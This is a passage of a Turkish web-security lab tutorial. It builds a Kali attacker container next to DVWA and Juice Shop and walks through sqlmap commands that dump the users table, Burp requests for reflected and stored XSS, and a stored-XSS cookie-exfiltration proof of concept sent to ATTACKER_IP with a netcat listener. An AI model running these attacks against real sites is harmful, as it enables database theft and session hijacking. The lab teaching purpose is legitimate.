VNC kur.\"\r\nelse\r\n  echo \"[*] burp.jar bulunamad\u0131. OWASP ZAP kurulu, burp kullanmak i&ccedil;in burpsuite jar'\u0131n\u0131 build context'e ekleyip yeniden build et.\"\r\nfi\r\n\r\n# Shell a&ccedil;\r\nexec \"$@\"\r\n<\/code><\/pre>\r\n<blockquote>\r\n<p>A&ccedil;\u0131klama: imaj Kali tabanl\u0131d\u0131r. \u0130&ccedil;inde <code>sqlmap<\/code>, <code>chromium<\/code> (headless), <code>zaproxy<\/code> y&uuml;kl&uuml;. <code>burpsuite.jar<\/code> kullanmak istersen bu jar dosyas\u0131n\u0131 Dockerfile ile ayn\u0131 klas&ouml;re koy ve build arg kullan.<\/p>\r\n<\/blockquote>\r\n<hr>\r\n<h1>2) <code>docker-compose.yml<\/code> &mdash; &ouml;zel attacker ile entegre<\/h1>\r\n<p>A\u015fa\u011f\u0131daki <code>docker-compose.yml<\/code> &ouml;rne\u011fi, attacker imaj\u0131n\u0131 build eder ve daha &ouml;nce verdi\u011fimiz DVWA \/ Juice Shop servisleriyle ayn\u0131 a\u011fda &ccedil;al\u0131\u015ft\u0131r\u0131r.<\/p>\r\n<pre><code class=\"language-yaml\">version: \"3.8\"\r\nservices:\r\n  attacker:\r\n    build:\r\n      context: .\r\n      dockerfile: Dockerfile.attacker\r\n      args:\r\n        INCLUDE_BURP: \"no\"   # e\u011fer burp.jar koyduysan \"yes\" yap\r\n        BURP_JAR: \"burpsuite.jar\"\r\n    image: weblab\/attacker:latest\r\n    container_name: attacker\r\n    tty: true\r\n    stdin_open: true\r\n    networks:\r\n      - web-lab\r\n    volumes:\r\n      - .\/attacker-data:\/root\r\n      - \/tmp\/.X11-unix:\/tmp\/.X11-unix   # X11 forward i&ccedil;in (opsiyonel)\r\n    environment:\r\n      - DISPLAY=${DISPLAY}   # host X11 forward i&ccedil;in\r\n    command: \/bin\/bash\r\n    restart: unless-stopped\r\n\r\n  juice_shop:\r\n    image: bkimminich\/juice-shop:latest\r\n    container_name: juice_shop\r\n    environment:\r\n      - NODE_ENV=development\r\n    ports:\r\n      - \"3000:3000\"\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  dvwa_db:\r\n    image: mysql:5.7\r\n    container_name: dvwa_db\r\n    environment:\r\n      MYSQL_ROOT_PASSWORD: rootpass\r\n      MYSQL_DATABASE: dvwa\r\n      MYSQL_USER: dvwauser\r\n      MYSQL_PASSWORD: dvwapass\r\n    volumes:\r\n      - dvwa_db_data:\/var\/lib\/mysql\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  dvwa:\r\n    image: vulnerables\/web-dvwa:latest\r\n    container_name: dvwa\r\n    environment:\r\n      - MYSQL_HOST=dvwa_db\r\n      - MYSQL_USER=dvwauser\r\n      - MYSQL_PASSWORD=dvwapass\r\n      - MYSQL_DATABASE=dvwa\r\n    ports:\r\n      - \"8081:80\"\r\n    networks:\r\n      - web-lab\r\n    depends_on:\r\n      - dvwa_db\r\n    restart: unless-stopped\r\n\r\nnetworks:\r\n  web-lab:\r\n    driver: bridge\r\n\r\nvolumes:\r\n  dvwa_db_data:\r\n  attacker-data:\r\n<\/code><\/pre>\r\n<hr>\r\n<h1>3) Build &amp; Run &mdash; Ad\u0131mlar<\/h1>\r\n<ol>\r\n<li>\r\n<p><code>Dockerfile.attacker<\/code>, <code>docker-entrypoint.sh<\/code> ve <code>docker-compose.yml<\/code> ayn\u0131 dizine koy.<\/p>\r\n<\/li>\r\n<li>\r\n<p><em>E\u011fer<\/em> Burp kullanacaksan: kendi <code>burpsuite.jar<\/code> dosyan\u0131 bu dizine koy (&ouml;rnek ad\u0131 <code>burpsuite.jar<\/code>) ve <code>docker-compose.yml<\/code> i&ccedil;inde <code>INCLUDE_BURP<\/code> arg'\u0131n\u0131 <code>yes<\/code> yap veya build komutunda ver. (Yine: Burp jar telifli &mdash; yaln\u0131zca kendi indirdi\u011fin jar'\u0131 kullan.)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Build &amp; run:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-bash\"># \u0130maj\u0131 build et\r\ndocker-compose build attacker\r\n\r\n# T&uuml;m servislere boot ver\r\ndocker-compose up -d\r\n<\/code><\/pre>\r\n<ol start=\"4\">\r\n<li>\r\n<p>Attacker i&ccedil;ine gir:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-bash\">docker exec -it attacker \/bin\/bash\r\n<\/code><\/pre>\r\n<ol start=\"5\">\r\n<li>\r\n<p>(Opsiyonel) E\u011fer GUI uygulamalar\u0131 &ccedil;al\u0131\u015ft\u0131racaksan:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<ul>\r\n<li>\r\n<p>Kolay yol: kendi makinan\u0131zda Burp &ccedil;al\u0131\u015ft\u0131r\u0131p proxy (127.0.0.1:8080 vs) ayarlars\u0131n; taray\u0131c\u0131y\u0131 host &uuml;zerinde tutup <code>http:\/\/localhost:3000<\/code>\/<code>8081<\/code> adreslerine istek g&ouml;nderdi\u011finde Burp ile g&ouml;r&uuml;rs&uuml;n.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Konteyner i&ccedil;inde Burp GUI &ccedil;al\u0131\u015ft\u0131rmak istersen X11 veya VNC y&ouml;nlendirmesi yap; bu detayl\u0131 kurulum istersen ek olarak ekleyebilirim.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h1>4) SQLi Tutorial &mdash; DVWA &ouml;rne\u011fi (ad\u0131m ad\u0131m)<\/h1>\r\n<blockquote>\r\n<p>&Ouml;nko\u015ful: DVWA &ccedil;al\u0131\u015f\u0131yor (<code>http:\/\/localhost:8081<\/code>) ve DVWA DB olu\u015fturulmu\u015f. Taray\u0131c\u0131dan DVWA&rsquo;ye eri\u015f, admin ile giri\u015f yap (varsay\u0131lan: <code>admin<\/code>\/<code>password<\/code> veya DVWA aray&uuml;z&uuml;nde kullan\u0131c\u0131 olu\u015ftur). DVWA security seviyesini <strong>Low<\/strong> yap.<\/p>\r\n<\/blockquote>\r\n<h3>A. Ke\u015fif<\/h3>\r\n<ol>\r\n<li>\r\n<p>Hedef form: <code>http:\/\/localhost:8081\/vulnerabilities\/sqli\/<\/code> (DVWA &ouml;rne\u011fi)<\/p>\r\n<\/li>\r\n<li>\r\n<p>Attacker konteynerinde terminal:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-bash\"># sqlmap kurulu mu kontrol\r\nwhich sqlmap || python3 -m pip install sqlmap\r\n<\/code><\/pre>\r\n<ol start=\"3\">\r\n<li>\r\n<p>&Ouml;nce form ile manuel test: input alan\u0131na <code>' OR '1'='1<\/code> gibi payload gir ve sonucu g&ouml;zlemle.<\/p>\r\n<\/li>\r\n<\/ol>\r\n<h3>B. Oturum cookie&rsquo;sini al (Taray\u0131c\u0131dan)<\/h3>\r\n<ul>\r\n<li>\r\n<p>Taray\u0131c\u0131da DVWA'ya giri\u015f yap.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Developer Tools -&gt; Application -&gt; Cookies -&gt; <code>PHPSESSID<\/code> ve <code>security<\/code> de\u011ferlerini kopyala.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<p>&Ouml;rnek cookie:<\/p>\r\n<pre><code>PHPSESSID=abcd1234; security=low\r\n<\/code><\/pre>\r\n<h3>C. sqlmap ile DB tarama<\/h3>\r\n<ol>\r\n<li>\r\n<p>Basit DB ke\u015ffi:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-bash\">sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&amp;Submit=Submit\" --cookie=\"PHPSESSID=abcd1234; security=low\" --dbs --batch\r\n<\/code><\/pre>\r\n<ul>\r\n<li>\r\n<p><code>--dbs<\/code> : veritabanlar\u0131n\u0131 listeler<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>--batch<\/code> : interaktif istemleri otomatik cevaplar<\/p>\r\n<\/li>\r\n<\/ul>\r\n<ol start=\"2\">\r\n<li>\r\n<p>Belirli veritaban\u0131ndaki tablolar\u0131 listele:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-bash\">sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&amp;Submit=Submit\" --cookie=\"PHPSESSID=abcd1234; security=low\" -D dvwa --tables --batch\r\n<\/code><\/pre>\r\n<ol start=\"3\">\r\n<li>\r\n<p>Tablo i&ccedil;eri\u011fini d&ouml;k:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-bash\">sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&amp;Submit=Submit\" --cookie=\"PHPSESSID=abcd1234; security=low\" -D dvwa -T users --dump --batch\r\n<\/code><\/pre>\r\n<h3>D. Parametre ke\u015fif (daha g&uuml;venli)<\/h3>\r\n<ul>\r\n<li>\r\n<p>E\u011fer <code>id<\/code> parametresi otomatik saptanmazsa <code>-p id<\/code> kullan:<\/p>\r\n<\/li>\r\n<\/ul>\r\n<pre><code class=\"language-bash\">sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&amp;Submit=Submit\" -p id --cookie=\"...\" --dbs --batch\r\n<\/code><\/pre>\r\n<h3>E. Sonu&ccedil; \/ &ccedil;\u0131kt\u0131 beklentisi<\/h3>\r\n<ul>\r\n<li>\r\n<p><code>--dbs<\/code> &ccedil;\u0131kt\u0131s\u0131nda <code>dvwa<\/code> vb. g&ouml;receksin.<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>--dump<\/code> ile <code>users<\/code> tablosuna ait sat\u0131rlar &ccedil;\u0131kar: kullan\u0131c\u0131 adlar\u0131, \u015fifre hashleri (DVWA &ouml;rne\u011finde basit hashler olabilir).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>Faydal\u0131 ek parametreler<\/h3>\r\n<ul>\r\n<li>\r\n<p><code>--threads=5<\/code> : h\u0131z<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>--risk=3 --level=5<\/code> : daha agresif test<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>--tamper=space2comment<\/code> : WAF\/filtre atlatma (&ouml;\u011frenmek i&ccedil;in)<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h1>5) XSS Tutorial &mdash; Juice Shop &amp; DVWA (reflected &amp; stored)<\/h1>\r\n<h3>A. Reflected XSS (basit)<\/h3>\r\n<ul>\r\n<li>\r\n<p>Juice Shop veya DVWA&rsquo;sa reflected vekt&ouml;rler olabilir. &Ouml;rnek: URL parametreleri ile payload.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<ol>\r\n<li>\r\n<p>Basit payload test:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code>http:\/\/localhost:3000\/#\/search?q=\r\n<\/code><\/pre>\r\n<p>Juice Shop modern SPA oldu\u011fundan DOM-based XSS olabilir; alert &ccedil;al\u0131\u015f\u0131yorsa ba\u015far\u0131l\u0131d\u0131r.<\/p>\r\n<h3>B. Stored XSS (yorum alan\u0131, profil a&ccedil;\u0131klamas\u0131 vb.)<\/h3>\r\n<ol>\r\n<li>\r\n<p>Juice Shop veya DVWA&rsquo;da yorum ekleme\/feedback alan\u0131 bul.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Payload olarak:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-html\">\r\n<\/code><\/pre>\r\n<p>G&ouml;nder ve hedef sayfay\u0131 yeniden y&uuml;kleyip payload&rsquo;un &ccedil;al\u0131\u015ft\u0131\u011f\u0131n\u0131 do\u011frula.<\/p>\r\n<h3>C. Burp Repeater &mdash; Reflected XSS &ouml;rne\u011fi (copy\/paste haz\u0131r HTTP iste\u011fi)<\/h3>\r\n<p>A\u015fa\u011f\u0131daki template DVWA reflected &ouml;rne\u011fi i&ccedil;in basit bir GET iste\u011fi. Burp Proxy ile yakala veya do\u011frudan Repeater&rsquo;e yap\u0131\u015ft\u0131r.<\/p>\r\n<pre><code>GET \/vulnerabilities\/xss_r\/?name= HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36\r\nAccept: text\/html,application\/xhtml+xml\r\nAccept-Language: en-US,en;q=0.5\r\nConnection: close\r\nCookie: PHPSESSID=abcd1234; security=low\r\n<\/code><\/pre>\r\n<ul>\r\n<li>\r\n<p>Repeater&rsquo;de g&ouml;nder ve d&ouml;nen HTML i&ccedil;inde payload&rsquo;\u0131n &ccedil;\u0131kt\u0131s\u0131n\u0131 kontrol et. E\u011fer HTML encode edilmemi\u015fse alert &ccedil;al\u0131\u015facakt\u0131r.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>D. Burp Repeater &mdash; Stored XSS PoC (POST request &ouml;rne\u011fi)<\/h3>\r\n<p>&Ouml;rnek: bir yorum formuna POST istek atma (DVWA gibi):<\/p>\r\n<pre><code>POST \/vulnerabilities\/xss_s\/ HTTP\/1.1\r\nHost: localhost:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 56\r\nCookie: PHPSESSID=abcd1234; security=low\r\n\r\nname=&amp;message=hello&amp;Submit=Submit\r\n<\/code><\/pre>\r\n<ul>\r\n<li>\r\n<p>Repeater ile iste\u011fi g&ouml;nder. E\u011fer sayfa daha sonra bu mesajlar\u0131 listeliyorsa, payload'\u0131n &ccedil;al\u0131\u015f\u0131p &ccedil;al\u0131\u015fmad\u0131\u011f\u0131n\u0131 kontrol et.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>E. Daha sofistike PoC &mdash; cookie exfiltration (&ouml;rnek, sadece lab i&ccedil;in)<\/h3>\r\n<p>PoC payload (stored) &mdash; a&ccedil;\u0131l\u0131r pencereden ziyade cookie&rsquo;yi attacker sunucusuna g&ouml;nder:<\/p>\r\n<pre><code class=\"language-html\">\r\n<\/code><\/pre>\r\n<ul>\r\n<li>\r\n<p>Not: <code>ATTACKER_IP<\/code> yerine attacker&rsquo;\u0131n IP&rsquo;sini veya host&rsquo;un reachable adresini yaz. Attacker taraf\u0131nda basit HTTP sunucu a&ccedil;:<\/p>\r\n<\/li>\r\n<\/ul>\r\n<pre><code class=\"language-bash\"># attacker konteynerinde basit dinleme\r\npython3 -m http.server 8080\r\n# veya netcat\r\nnc -lvnp 8080\r\n<\/code><\/pre>\r\n<hr>\r\n<h1>6) Burp Kullan\u0131m\u0131 Hakk\u0131nda Pratik Notlar<\/h1>\r\n<ul>\r\n<li>\r\n<p><strong>GUI &ccedil;al\u0131\u015ft\u0131rmak istersen<\/strong>: en kolay yol host makinanda Burp Suite &ccedil;al\u0131\u015ft\u0131r\u0131p taray\u0131c\u0131n\u0131 (host) Burp proxy&rsquo;ye y&ouml;nlendirmek ve taray\u0131c\u0131dan <code>http:\/\/localhost:3000<\/code>\/<code>8081<\/code> gibi adreslere eri\u015fmektir. B&ouml;ylece Burp trafi\u011fi g&ouml;rebilir, Repeater, Intruder vb. kullanabilirsin.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Konteyner i&ccedil;inde GUI &ccedil;al\u0131\u015ft\u0131rmak<\/strong>: X11 forwarding (Linux host) veya VNC kurup VNC client ile ba\u011flanma gerekir &mdash; bunun i&ccedil;in ekstra konfig&uuml;rasyon istenir.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Burp jar konteyner i&ccedil;inde<\/strong>: <code>java -jar \/opt\/burp\/burpsuite.jar<\/code> &ccedil;al\u0131\u015ft\u0131r\u0131l\u0131r (e\u011fer jar kopyaland\u0131ysa). GUI i&ccedil;in X11 veya VNC gerekli.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Proxy + docker network<\/strong>: Host taray\u0131c\u0131s\u0131ndan yapt\u0131\u011f\u0131n istekler do\u011frudan konteynerin host-mapped portlar\u0131na gider. E\u011fer Burp konteyner i&ccedil;indeyse ve host taray\u0131c\u0131dan kullanacaksan, Burp&rsquo;\u0131n dinledi\u011fi portu <code>ports:<\/code> ile expose et veya a\u011f ayarlar\u0131n\u0131 kontrol et.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<p>&nbsp;<\/p>\r\n<h1>Laboratuvar :<\/h1>\r\n<h1>A &mdash; GUI (VNC + Fluxbox + noVNC) i&ccedil;eren &ouml;zel attacker image<\/h1>\r\n<blockquote>\r\n<p>Not: Burp Suite <code>.jar<\/code> telifli oldu\u011fu i&ccedil;in Dockerfile otomatik indirme yapmaz. E\u011fer Burp kullanacaksan, kendi indirdi\u011fin <code>burpsuite.jar<\/code> dosyas\u0131n\u0131 bu build context&rsquo;e koy. Alternatif olarak <code>INCLUDE_BURP=no<\/code> b\u0131rak\u0131p sadece ZAP kullanabilirsin.<\/p>\r\n<\/blockquote>\r\n<h3>1) <code>Dockerfile.gui<\/code> (k&ouml;k dizine koy)<\/h3>\r\n<pre><code class=\"language-dockerfile\"># Dockerfile.gui\r\nFROM kalilinux\/kali-rolling\r\n\r\nARG BURP_JAR=burpsuite.jar\r\nARG INCLUDE_BURP=no\r\n\r\nENV DEBIAN_FRONTEND=noninteractive\r\nRUN apt-get update &amp;&amp; apt-get install -y \\\r\n    xfce4 xfce4-terminal fluxbox x11vnc novnc websockify \\\r\n    python3 python3-pip git curl wget net-tools iputils-ping \\\r\n    default-jre-headless openjdk-11-jre-headless \\\r\n    sqlmap chromium pulseaudio supervisor unzip \\\r\n    &amp;&amp; apt-get clean &amp;&amp; rm -rf \/var\/lib\/apt\/lists\/*\r\n\r\n# pip ara&ccedil;lar\u0131\r\nRUN pip3 install --upgrade pip &amp;&amp; pip3 install websockify\r\n\r\n# &ccedil;al\u0131\u015fma dizini\r\nWORKDIR \/root\r\n\r\n# Burp jar (iste\u011fe ba\u011fl\u0131, build context'e koy)\r\nARG INCLUDE_BURP\r\nCOPY entrypoint-gui.sh \/usr\/local\/bin\/entrypoint-gui.sh\r\nRUN chmod +x \/usr\/local\/bin\/entrypoint-gui.sh\r\n\r\n# E\u011fer kullan\u0131c\u0131 burp jar'\u0131n\u0131 koyduysa kopyala (opsiyonel)\r\nCOPY ${BURP_JAR} \/opt\/burp\/${BURP_JAR}\r\n\r\nEXPOSE 5901    # VNC\r\nEXPOSE 6080    # noVNC (web client)\r\nEXPOSE 8080    # Burp proxy listener (host access)\r\nVOLUME [\"\/root\"]\r\n\r\nENTRYPOINT [\"\/usr\/local\/bin\/entrypoint-gui.sh\"]\r\nCMD [\"\/bin\/bash\"]\r\n<\/code><\/pre>\r\n<h3>2) <code>entrypoint-gui.sh<\/code> (ayn\u0131 dizine koy)<\/h3>\r\n<pre><code class=\"language-bash\">#!\/bin\/bash\r\nset -e\r\n\r\n# Basit fluxbox + x11vnc + noVNC ba\u015flatma entrypoint\r\nDISPLAY_NUM=1\r\nDISPLAY=\":${DISPLAY_NUM}\"\r\n\r\n# Fluxbox config yoksa default\r\nmkdir -p \/root\/.vnc\r\n\r\n# Ba\u015flatma komutlar\u0131\r\n# 1) X server (Xvfb) yerine do\u011frudan fluxbox ile kullan\u0131labilecek hafif &ccedil;&ouml;z&uuml;m:\r\n# Fluxbox ile bir X sunucusu gereklidir; burada Xvfb yerine Xorg yerine xfce4-session ele ald\u0131k.\r\n# Basit ve yayg\u0131n yakla\u015f\u0131m: start fluxbox in background using Xvfb\r\nXvfb ${DISPLAY} -screen 0 1024x768x24 &amp;\r\n\r\nexport DISPLAY=${DISPLAY}\r\n\r\n# Ba\u015flat fluxbox\r\nfluxbox &amp;\r\n\r\n# Ba\u015flat x11vnc (VNC eri\u015fimi)\r\nx11vnc -display ${DISPLAY} -forever -nopw -rfbport 5901 -shared &amp;\r\n\r\n# Ba\u015flat noVNC (web &uuml;zerinden VNC)\r\n# websockify ile 5901 -&gt; 6080\r\nwebsockify --web=\/usr\/share\/novnc\/ 6080 localhost:5901 &amp;\r\n\r\n# E\u011fer burp jar varsa arka planda ba\u015flat (GUI i&ccedil;in a&ccedil;\u0131lacak pencerede &ccedil;al\u0131\u015f\u0131r)\r\nif [ -f \/opt\/burp\/${BURP_JAR} ] &amp;&amp; [ \"${INCLUDE_BURP}\" != \"no\" ]; then\r\n  echo \"[*] Burp jar bulundu, ba\u015flat\u0131l\u0131yor...\"\r\n  # Burp GUI'nin ayn\u0131 X display &uuml;zerinde ba\u015flamas\u0131 i&ccedil;in:\r\n  java -jar \/opt\/burp\/${BURP_JAR} &amp;&gt;\/root\/burp.log &amp;\r\nelse\r\n  echo \"[*] Burp jar yok veya INCLUDE_BURP=no. Burp kullanmak istiyorsan burpsuite.jar dosyas\u0131n\u0131 build context'e koy ve INCLUDE_BURP arg'\u0131n\u0131 yes yap.\"\r\nfi\r\n\r\n# E\u011fer Burp proxy olarak &ccedil;al\u0131\u015ft\u0131rmak istersen portu expose et (genelde GUI &uuml;zerinden ayarlan\u0131r).\r\n# Bekle ve container interaktif shell ver\r\nexec \"$@\"\r\n<\/code><\/pre>\r\n<blockquote>\r\n<p>A&ccedil;\u0131klama: bu entrypoint basit bir setup sa\u011flar: Xvfb (virtual X), fluxbox pencere y&ouml;neticisi, x11vnc ve noVNC. noVNC taray\u0131c\u0131dan VNC eri\u015fimi sa\u011flar: <code>http:\/\/HOST:6080<\/code> ile taray\u0131c\u0131da GUI g&ouml;rebilirsin. Burp GUI &ccedil;al\u0131\u015ft\u0131r\u0131lacaksa jar dosyas\u0131 container i&ccedil;inde <code>\/opt\/burp\/<\/code> konumunda olmal\u0131 ve build arg ile <code>INCLUDE_BURP<\/code> ayarlanmal\u0131.<\/p>\r\n<\/blockquote>\r\n<hr>\r\n<h1>B &mdash; <code>docker-compose.yml<\/code> (GUI attacker entegre)<\/h1>\r\n<p>K&ouml;k dizine a\u015fa\u011f\u0131y\u0131 koy:<\/p>\r\n<pre><code class=\"language-yaml\">version: \"3.8\"\r\nservices:\r\n  attacker_gui:\r\n    build:\r\n      context: .\r\n      dockerfile: Dockerfile.gui\r\n      args:\r\n        INCLUDE_BURP: \"yes\"   # burp jar koyduysan \"yes\" yap; yoksa \"no\"\r\n        BURP_JAR: \"burpsuite.jar\"\r\n    image: weblab\/attacker-gui:latest\r\n    container_name: attacker_gui\r\n    tty: true\r\n    stdin_open: true\r\n    ports:\r\n      - \"5901:5901\"   # VNC (optional)\r\n      - \"6080:6080\"   # noVNC web UI\r\n      - \"8080:8080\"   # Burp proxy listener (expose edilecek)\r\n    volumes:\r\n      - .\/attacker-data:\/root\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  # (&ouml;nceki hedefler: juice_shop\/dvwa vb. buraya eklenir)\r\n  dvwa_db:\r\n    image: mysql:5.7\r\n    environment:\r\n      MYSQL_ROOT_PASSWORD: rootpass\r\n      MYSQL_DATABASE: dvwa\r\n      MYSQL_USER: dvwauser\r\n      MYSQL_PASSWORD: dvwapass\r\n    volumes:\r\n      - dvwa_db_data:\/var\/lib\/mysql\r\n    networks:\r\n      - web-lab\r\n\r\n  dvwa:\r\n    image: vulnerables\/web-dvwa:latest\r\n    environment:\r\n      - MYSQL_HOST=dvwa_db\r\n      - MYSQL_USER=dvwauser\r\n      - MYSQL_PASSWORD=dvwapass\r\n      - MYSQL_DATABASE=dvwa\r\n    ports:\r\n      - \"8081:80\"\r\n    depends_on:\r\n      - dvwa_db\r\n    networks:\r\n      - web-lab\r\n\r\n  juice_shop:\r\n    image: bkimminich\/juice-shop:latest\r\n    ports:\r\n      - \"3000:3000\"\r\n    networks:\r\n      - web-lab\r\n\r\nnetworks:\r\n  web-lab:\r\n    driver: bridge\r\n\r\nvolumes:\r\n  dvwa_db_data:\r\n  attacker-data:\r\n<\/code><\/pre>\r\n<h3>Build &amp; Run:<\/h3>\r\n<pre><code class=\"language-bash\"># Build attacker-gui image (burp jar'\u0131n\u0131 koyduysan INCLUDE_BURP=yes)\r\ndocker-compose build attacker_gui\r\n\r\n# Boot up\r\ndocker-compose up -d\r\n<\/code><\/pre>\r\n<ul>\r\n<li>\r\n<p>noVNC (web VNC): <code>http:\/\/localhost:6080<\/code> &mdash; taray\u0131c\u0131dan fluxbox masa&uuml;st&uuml;ne eri\u015f.<\/p>\r\n<\/li>\r\n<li>\r\n<p>VNC client: <code>vnc:\/\/localhost:5901<\/code> (parolas\u0131z, dikkat: yaln\u0131zca yerelde ve izole a\u011fda kullan).<\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp proxy portu konteynerde otomatik ayarlanmaz &mdash; Burp GUI i&ccedil;inde Proxy -&gt; Options k\u0131sm\u0131ndan Listener ekleyip <code>0.0.0.0:8080<\/code> dinlemesini a&ccedil;; b&ouml;ylece host <code>http:\/\/localhost:8080<\/code> &uuml;zerinden Burp proxy&rsquo;ye ula\u015fabilir.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h1>C &mdash; Burp Proxy&rsquo;yi container i&ccedil;inde &ccedil;al\u0131\u015ft\u0131r\u0131p host taray\u0131c\u0131y\u0131 proxy&rsquo;e y&ouml;nlendirme (X11 yerine kolay yol)<\/h1>\r\n<p>En kolay, sa\u011flam ve pratik yol: Burp GUI&rsquo;yi container i&ccedil;inde <strong>noVNC &uuml;zerinden a&ccedil;<\/strong>, Burp GUI i&ccedil;inden Proxy &rarr; Options &rarr; Add &rarr; Listener <code>0.0.0.0:8080<\/code> \u015feklinde ekle. Sonra host taray\u0131c\u0131y\u0131 \u015fu \u015fekilde ayarla:<\/p>\r\n<ol>\r\n<li>\r\n<p>Host taray\u0131c\u0131nda HTTP proxy ayar\u0131n\u0131 <code>localhost<\/code> port <code>8080<\/code> yap. &Ouml;rne\u011fin:<\/p>\r\n<ul>\r\n<li>\r\n<p>Firefox: Settings &rarr; Network Settings &rarr; Manual proxy configuration &rarr; HTTP Proxy: <code>127.0.0.1<\/code>, Port: <code>8080<\/code>.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Chrome: Sistem proxy ayar\u0131n\u0131 kullan &mdash; i\u015fletim sistemine g&ouml;re ayarla (Windows: Internet Options &rarr; LAN settings; Linux: env veya GNOME network settings).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<li>\r\n<p>Burp CA sertifikas\u0131n\u0131 (TLS intercept i&ccedil;in) host taray\u0131c\u0131ya y&uuml;kle:<\/p>\r\n<ul>\r\n<li>\r\n<p>noVNC ile Burp GUI&rsquo;ye gir: <code>http:\/\/localhost:6080<\/code> &rarr; Burp a&ccedil;.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp &rarr; Proxy &rarr; Intercept a&ccedil;\u0131kken host taray\u0131c\u0131dan herhangi bir HTTPS siteye git; Burp otomatik olarak HTTPS trafi\u011fini durdurursa, Burp&rsquo;un CA sertifikas\u0131n\u0131 export et: Burp &rarr; Proxy &rarr; Options &rarr; CA Certificate &rarr; <code>Export \/ Save<\/code> veya <code>http:\/\/burp<\/code> (Burp&rsquo;un embedded CA web sayfas\u0131).<\/p>\r\n<\/li>\r\n<li>\r\n<p>Host taray\u0131c\u0131ya bu sertifikay\u0131 g&uuml;venilir CA olarak y&uuml;kle (testlab i&ccedil;in ge&ccedil;ici).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<li>\r\n<p>Art\u0131k host taray\u0131c\u0131 ile normal \u015fekilde <code>http:\/\/localhost:8081<\/code> (DVWA) veya <code>http:\/\/localhost:3000<\/code> (Juice Shop) adreslerine gidip t&uuml;m trafi\u011fin Burp &uuml;zerinden ge&ccedil;ti\u011fini g&ouml;zlemleyebilirsin. Burp GUI noVNC i&ccedil;inde g&ouml;r&uuml;n&uuml;yor; proxy portu host&rsquo;a a&ccedil;\u0131k oldu\u011fu i&ccedil;in X11 y&ouml;nlendirmeye gerek yok.<\/p>\r\n<\/li>\r\n<\/ol>\r\n<blockquote>\r\n<p>&Ouml;zet: noVNC ile Burp GUI&rsquo;ye ba\u011flan &rarr; Burp i&ccedil;inde proxy listener a&ccedil; <code>0.0.0.0:8080<\/code> &rarr; host taray\u0131c\u0131da proxy ayarla &rarr; (iste\u011fe ba\u011fl\u0131) Burp CA&rsquo;y\u0131 host taray\u0131c\u0131ya y&uuml;kle.<\/p>\r\n<\/blockquote>\r\n<hr>\r\n<h1>D &mdash; Burp Repeater oturumlar\u0131: Tam reproducible raw HTTP &ouml;rnekleri (SQLi &amp; XSS)<\/h1>\r\n<p>A\u015fa\u011f\u0131daki istekleri Burp Proxy ile yakala veya do\u011frudan <strong>Repeater<\/strong>&rsquo;a yap\u0131\u015ft\u0131r. <code>Cookie<\/code> sat\u0131r\u0131n\u0131 kendi &ccedil;al\u0131\u015f\u0131r oturum <code>PHPSESSID<\/code> ile de\u011fi\u015ftir ve <code>Host<\/code>\/URL&rsquo;leri kendi ortam\u0131na g&ouml;re ayarla (localhost:8081 DVWA &ouml;rne\u011fi).<\/p>\r\n<h2>1) SQLi &mdash; GET reflected parameter (DVWA <code>sqli<\/code>)<\/h2>\r\n<h3>Request (copy\/paste to Repeater)<\/h3>\r\n<pre><code>GET \/vulnerabilities\/sqli\/?id=1&amp;Submit=Submit HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0\r\nAccept: text\/html\r\nConnection: close\r\nCookie: PHPSESSID=REPLACE_WITH_YOUR_SESSION; security=low\r\n<\/code><\/pre>\r\n<h3>Nas\u0131l test edilir (manip&uuml;lasyon)<\/h3>\r\n<ul>\r\n<li>\r\n<p>Repeater i&ccedil;inde <code>id=1<\/code> yerine \u015fu payload&rsquo;\u0131 